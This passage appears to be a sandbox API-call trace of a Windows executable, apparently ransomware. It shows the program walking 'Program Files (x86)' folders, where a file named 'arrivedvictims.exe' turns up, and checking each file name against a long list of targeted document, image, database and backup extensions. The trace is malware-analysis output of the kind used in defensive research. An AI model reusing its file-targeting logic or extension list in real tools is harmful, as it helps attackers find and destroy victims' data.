ftCreationTime.dwLowDateTime=0x41a5565b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2d910800, ftLastWriteTime.dwHighDateTime=0x1d29fa7, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0192.864] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0192.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.864] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x97a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0192.864] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776b1b4c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776b1b4c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776b1b4c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x376a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0192.864] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x136c70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0192.865] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775f2f48, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775f2f48, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775f2f48, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xef500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0192.865] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776b1b4c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776b1b4c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776b1b4c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3776, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceTigrinya.txt", cAlternateFileName="")) returned 1 [0192.865] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775ccce1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775ccce1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775ccce1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0192.865] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775ccce1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775ccce1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775ccce1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0192.865] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0192.866] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.866] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0192.866] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0192.866] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.866] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0192.866] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3750048 [0192.866] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531c00 [0192.982] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.982] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54edb190, ftCreationTime.dwHighDateTime=0x1d4edee, ftLastAccessTime.dwLowDateTime=0xe6c9a7e0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0xe6c9a7e0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrivedvictims.exe", cAlternateFileName="ARRIVE~1.EXE")) returned 1 [0192.982] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0192.982] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x463ef98 [0192.983] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531cc0 [0192.983] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.983] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4094d875, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0192.983] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0192.983] lstrlenW (lpString=".1cd") returned 4 [0192.983] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.983] lstrlenW (lpString=".3ds") returned 4 [0192.984] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0192.984] lstrlenW (lpString=".3fr") returned 4 [0192.984] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0192.985] lstrlenW (lpString=".3g2") returned 4 [0192.985] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0192.985] lstrlenW (lpString=".3gp") returned 4 [0192.985] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0192.985] lstrlenW (lpString=".7z") returned 3 [0192.985] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.985] lstrlenW (lpString=".accda") returned 6 [0192.985] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0192.985] lstrlenW (lpString=".accdb") returned 6 [0192.985] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0192.985] lstrlenW (lpString=".accdc") returned 6 [0192.985] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0192.985] lstrlenW (lpString=".accde") returned 6 [0192.985] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0192.985] lstrlenW (lpString=".accdt") returned 6 [0192.985] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0192.985] lstrlenW (lpString=".accdw") returned 6 [0192.985] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0192.985] lstrlenW (lpString=".adb") returned 4 [0192.985] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0192.985] lstrlenW (lpString=".adp") returned 4 [0192.985] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0192.986] lstrlenW (lpString=".ai") returned 3 [0192.986] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0192.986] lstrlenW (lpString=".ai3") returned 4 [0192.986] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0192.986] lstrlenW (lpString=".ai4") returned 4 [0192.986] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0192.986] lstrlenW (lpString=".ai5") returned 4 [0192.986] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0192.986] lstrlenW (lpString=".ai6") returned 4 [0192.986] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0192.986] lstrlenW (lpString=".ai7") returned 4 [0192.986] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0192.986] lstrlenW (lpString=".ai8") returned 4 [0192.986] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0192.986] lstrlenW (lpString=".anim") returned 5 [0192.986] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0192.986] lstrlenW (lpString=".arw") returned 4 [0192.986] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0192.986] lstrlenW (lpString=".as") returned 3 [0192.986] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0192.986] lstrlenW (lpString=".asa") returned 4 [0192.986] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0192.986] lstrlenW (lpString=".asc") returned 4 [0192.987] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0192.987] lstrlenW (lpString=".ascx") returned 5 [0192.987] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0192.987] lstrlenW (lpString=".asm") returned 4 [0192.987] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0192.987] lstrlenW (lpString=".asmx") returned 5 [0192.987] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0192.987] lstrlenW (lpString=".asp") returned 4 [0192.987] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0192.987] lstrlenW (lpString=".aspx") returned 5 [0192.987] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0192.987] lstrlenW (lpString=".asr") returned 4 [0192.987] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0192.987] lstrlenW (lpString=".asx") returned 4 [0192.987] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0192.987] lstrlenW (lpString=".avi") returned 4 [0192.987] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0192.987] lstrlenW (lpString=".avs") returned 4 [0192.988] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0192.988] lstrlenW (lpString=".backup") returned 7 [0192.988] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0192.988] lstrlenW (lpString=".bak") returned 4 [0192.988] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0192.988] lstrlenW (lpString=".bay") returned 4 [0192.988] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0192.988] lstrlenW (lpString=".bd") returned 3 [0192.988] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0192.988] lstrlenW (lpString=".bin") returned 4 [0192.988] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0192.988] lstrlenW (lpString=".bmp") returned 4 [0192.988] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0192.988] lstrlenW (lpString=".bz2") returned 4 [0192.988] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.988] lstrlenW (lpString=".c") returned 2 [0192.988] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0192.988] lstrlenW (lpString=".cdr") returned 4 [0193.223] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0193.223] lstrlenW (lpString=".cer") returned 4 [0193.223] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0193.223] lstrlenW (lpString=".cf") returned 3 [0193.223] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0193.224] lstrlenW (lpString=".cfc") returned 4 [0193.224] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0193.224] lstrlenW (lpString=".cfm") returned 4 [0193.224] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0193.224] lstrlenW (lpString=".cfml") returned 5 [0193.224] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0193.224] lstrlenW (lpString=".cfu") returned 4 [0193.224] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0193.224] lstrlenW (lpString=".chm") returned 4 [0193.224] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0193.224] lstrlenW (lpString=".cin") returned 4 [0193.224] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0193.224] lstrlenW (lpString=".class") returned 6 [0193.224] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0193.224] lstrlenW (lpString=".clx") returned 4 [0193.224] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0193.224] lstrlenW (lpString=".config") returned 7 [0193.224] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0193.224] lstrlenW (lpString=".cpp") returned 4 [0193.224] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0193.224] lstrlenW (lpString=".cr2") returned 4 [0193.224] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0193.224] lstrlenW (lpString=".crt") returned 4 [0193.224] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0193.224] lstrlenW (lpString=".crw") returned 4 [0193.224] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".cs") returned 3 [0193.225] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0193.225] lstrlenW (lpString=".css") returned 4 [0193.225] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".csv") returned 4 [0193.225] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".cub") returned 4 [0193.225] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".dae") returned 4 [0193.225] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".dat") returned 4 [0193.225] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".db") returned 3 [0193.225] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0193.225] lstrlenW (lpString=".dbf") returned 4 [0193.225] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".dbx") returned 4 [0193.225] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".dc3") returned 4 [0193.225] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".dcm") returned 4 [0193.225] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".dcr") returned 4 [0193.225] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".der") returned 4 [0193.225] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".dib") returned 4 [0193.225] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0193.225] lstrlenW (lpString=".dic") returned 4 [0193.226] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0193.226] lstrlenW (lpString=".dif") returned 4 [0193.226] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0193.226] lstrlenW (lpString=".divx") returned 5 [0193.226] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0193.226] lstrlenW (lpString=".djvu") returned 5 [0193.226] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0193.226] lstrlenW (lpString=".dng") returned 4 [0193.226] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0193.226] lstrlenW (lpString=".doc") returned 4 [0193.226] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0193.226] lstrlenW (lpString=".docm") returned 5 [0193.226] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0193.226] lstrlenW (lpString=".docx") returned 5 [0193.226] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0193.226] lstrlenW (lpString=".dot") returned 4 [0193.226] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0193.226] lstrlenW (lpString=".dotm") returned 5 [0193.226] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0193.226] lstrlenW (lpString=".dotx") returned 5 [0193.226] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0193.226] lstrlenW (lpString=".dpx") returned 4 [0193.226] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0193.226] lstrlenW (lpString=".dqy") returned 4 [0193.226] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0193.226] lstrlenW (lpString=".dsn") returned 4 [0193.227] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".dt") returned 3 [0193.227] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0193.227] lstrlenW (lpString=".dtd") returned 4 [0193.227] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".dwg") returned 4 [0193.227] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".dwt") returned 4 [0193.227] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".dx") returned 3 [0193.227] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0193.227] lstrlenW (lpString=".dxf") returned 4 [0193.227] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".edml") returned 5 [0193.227] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0193.227] lstrlenW (lpString=".efd") returned 4 [0193.227] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".elf") returned 4 [0193.227] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".emf") returned 4 [0193.227] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".emz") returned 4 [0193.227] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".epf") returned 4 [0193.227] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0193.227] lstrlenW (lpString=".eps") returned 4 [0193.227] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".epsf") returned 5 [0193.228] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0193.228] lstrlenW (lpString=".epsp") returned 5 [0193.228] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0193.228] lstrlenW (lpString=".erf") returned 4 [0193.228] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".exr") returned 4 [0193.228] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".f4v") returned 4 [0193.228] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".fido") returned 5 [0193.228] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0193.228] lstrlenW (lpString=".flm") returned 4 [0193.228] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".flv") returned 4 [0193.228] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".frm") returned 4 [0193.228] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".fxg") returned 4 [0193.228] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".geo") returned 4 [0193.228] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".gif") returned 4 [0193.228] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".grs") returned 4 [0193.228] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0193.228] lstrlenW (lpString=".gz") returned 3 [0193.228] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0193.228] lstrlenW (lpString=".h") returned 2 [0193.229] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0193.229] lstrlenW (lpString=".hdr") returned 4 [0193.229] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".hpp") returned 4 [0193.229] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".hta") returned 4 [0193.229] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".htc") returned 4 [0193.229] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".htm") returned 4 [0193.229] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".html") returned 5 [0193.229] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0193.229] lstrlenW (lpString=".icb") returned 4 [0193.229] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".ics") returned 4 [0193.229] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".iff") returned 4 [0193.229] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".inc") returned 4 [0193.229] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".indd") returned 5 [0193.229] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0193.229] lstrlenW (lpString=".ini") returned 4 [0193.229] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0193.229] lstrlenW (lpString=".iqy") returned 4 [0193.230] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0193.230] lstrlenW (lpString=".j2c") returned 4 [0193.230] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0193.230] lstrlenW (lpString=".j2k") returned 4 [0193.230] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0193.230] lstrlenW (lpString=".java") returned 5 [0193.230] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0193.230] lstrlenW (lpString=".jp2") returned 4 [0193.230] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0193.230] lstrlenW (lpString=".jpc") returned 4 [0193.230] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0193.230] lstrlenW (lpString=".jpe") returned 4 [0193.230] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0193.230] lstrlenW (lpString=".jpeg") returned 5 [0193.230] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0193.230] lstrlenW (lpString=".jpf") returned 4 [0193.230] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0193.230] lstrlenW (lpString=".jpg") returned 4 [0193.230] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0193.230] lstrlenW (lpString=".jpx") returned 4 [0193.230] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0193.230] lstrlenW (lpString=".js") returned 3 [0193.231] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0193.231] lstrlenW (lpString=".jsf") returned 4 [0193.231] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 